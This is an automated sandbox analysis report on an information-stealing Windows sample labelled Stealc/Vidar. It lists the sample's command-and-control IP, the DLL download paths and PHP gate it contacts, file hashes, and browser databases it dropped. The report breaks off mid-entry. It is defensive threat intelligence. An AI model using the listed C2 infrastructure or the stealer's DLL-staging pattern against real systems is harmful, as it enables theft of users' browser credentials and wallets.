C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	0%	URL Reputation	safe

Name	Malicious	Reputation
http://185.215.113.206/	true	unknown
http://185.215.113.206/0d60be0de163924d/nss3.dll	true	unknown
http://185.215.113.206/0d60be0de163924d/vcruntime140.dll	true	unknown
http://185.215.113.206/0d60be0de163924d/softokn3.dll	true	unknown
http://185.215.113.206/0d60be0de163924d/freebl3.dll	true	unknown
http://185.215.113.206/0d60be0de163924d/msvcp140.dll	true	unknown
http://185.215.113.206/0d60be0de163924d/sqlite3.dll	true	unknown
http://185.215.113.206/e2b1563c6670f193.php	true	unknown
http://185.215.113.206/0d60be0de163924d/mozglue.dll	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	IEHIIIJD.0.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	IEHIIIJD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/0d60be0de163924d/softokn3.dll-W	file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/e2b1563c6670f193.php2	file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/e2b1563c6670f193.phpGb	file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/0d60be0de163924d/freebl3.dllNU	file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/e2b1563c6670f193.php;cf	file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	IEHIIIJD.0.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	file.exe, 00000000.00000002.2385809285.0000000029763000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2369497841.0000000001155000.00000004.00000020.00020000.00000000.sdmp, FHDHCAAKECFIDHIEBAKF.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206e2b1563c6670f193.phpion:	file.exe, 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmp	false		unknown
http://185.215.113.206/e2b1563c6670f193.phpQQBrowser	file.exe, 00000000.00000002.2385809285.0000000029701000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/e2b1563c6670f193.php_	file.exe, 00000000.00000002.2369497841.0000000001155000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/e2b1563c6670f193.phpf5	file.exe, 00000000.00000002.2369497841.0000000001155000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/0d60be0de163924d/msvcp140.dllRW	file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/5C	file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/e2b1563c6670f193.php7cR	file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	IEHIIIJD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/e2b1563c6670f193.phpWc2	file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/e2b1563c6670f193.phpm	file.exe, 00000000.00000002.2369497841.0000000001155000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/e2b1563c6670f193.php#c	file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/e2b1563c6670f193.phpsb.	file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/0d60be0de163924d/sqlite3.dll2U	file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/0d60be0de163924d/vcruntime140.dllG	file.exe, 00000000.00000002.2385809285.0000000029701000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/e2b1563c6670f193.phpe	file.exe, 00000000.00000002.2369497841.0000000001122000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/0d60be0de163924d/mozglue.dllpT	file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/e2b1563c6670f193.phpb	file.exe, 00000000.00000002.2369497841.0000000001155000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2390655847.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2381094171.000000001D7C7000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/e2b1563c6670f193.phpenSSH	file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	IEHIIIJD.0.dr	false		unknown
http://185.215.113.206/0d60be0de163924d/mozglue.dllBT	file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	file.exe, 00000000.00000002.2385809285.0000000029763000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2369497841.0000000001155000.00000004.00000020.00020000.00000000.sdmp, FHDHCAAKECFIDHIEBAKF.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/0d60be0de163924d/nss3.dll.	file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	FHDHCAAKECFIDHIEBAKF.0.dr	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	IEHIIIJD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/e2b1563c6670f193.phpKb6	file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/0d60be0de163924d/vcruntime140.dllg	file.exe, 00000000.00000002.2385809285.0000000029701000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/e2b1563c6670f193.phpion:	file.exe, 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://www.ecosia.org/newtab/	IEHIIIJD.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	ECBGCGCGIEGCBFHIIEBFCAFHIE.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/e2b1563c6670f193.phpndowsApps	file.exe, 00000000.00000002.2385809285.0000000029701000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	file.exe, 00000000.00000002.2385809285.0000000029763000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2369497841.0000000001155000.00000004.00000020.00020000.00000000.sdmp, FHDHCAAKECFIDHIEBAKF.0.dr	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	IEHIIIJD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/0d60be0de163924d/nss3.dllll	file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/e2b1563c6670f193.phpata	file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	ECBGCGCGIEGCBFHIIEBFCAFHIE.0.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2385809285.0000000029763000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2369497841.0000000001155000.00000004.00000020.00020000.00000000.sdmp, FHDHCAAKECFIDHIEBAKF.0.dr	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	file.exe, 00000000.00000002.2385809285.0000000029763000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2369497841.0000000001155000.00000004.00000020.00020000.00000000.sdmp, FHDHCAAKECFIDHIEBAKF.0.dr	false		unknown
http://185.215.113.206/0d60be0de163924d/mozglue.dll8T	file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/0d60be0de163924d/nss3.dllllPU	file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org	ECBGCGCGIEGCBFHIIEBFCAFHIE.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206	file.exe, 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2369497841.00000000010DE000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.206/e2b1563c6670f193.php_b	file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	IEHIIIJD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/e2b1563c6670f193.phpodus.wallet	file.exe, 00000000.00000002.2385809285.0000000029701000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000000.00000002.2385809285.0000000029763000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2369497841.0000000001155000.00000004.00000020.00020000.00000000.sdmp, FHDHCAAKECFIDHIEBAKF.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/e2b1563c6670f193.php#	file.exe, 00000000.00000002.2369497841.0000000001155000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.206	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1542955
Start date and time:	2024-10-27 00:30:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/23@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 85% Number of executed functions: 77 Number of non-executed functions: 115
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.206	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	uLV6jN2BWh.dll	Get hash	malicious	Unknown	Browse	185.215.113.217
	uLV6jN2BWh.dll	Get hash	malicious	Unknown	Browse	185.215.113.217
	mU3Ob2XcCt.dll	Get hash	malicious	Amadey	Browse	185.215.113.217

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	ae67deafb5d9386fbca3d4d728d79651daaa42eef8086.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	ZDW7Di1Ykf.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BFCAAEHJDBKJJKFHJEBK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBGCBGCAFIIECBFIDHIJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECBGCGCGIEGCBFHIIEBFCAFHIE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FHDHCAAKECFIDHIEBAKF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\HIDAFHDHCBGDGCBGCGIIEHIDBF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IEHIIIJD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDGIIJJDHDGCGDHIJDAKJKKKFH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJDBFCAEBFIJJKFHDAECGDAEGI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KECFIDGC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
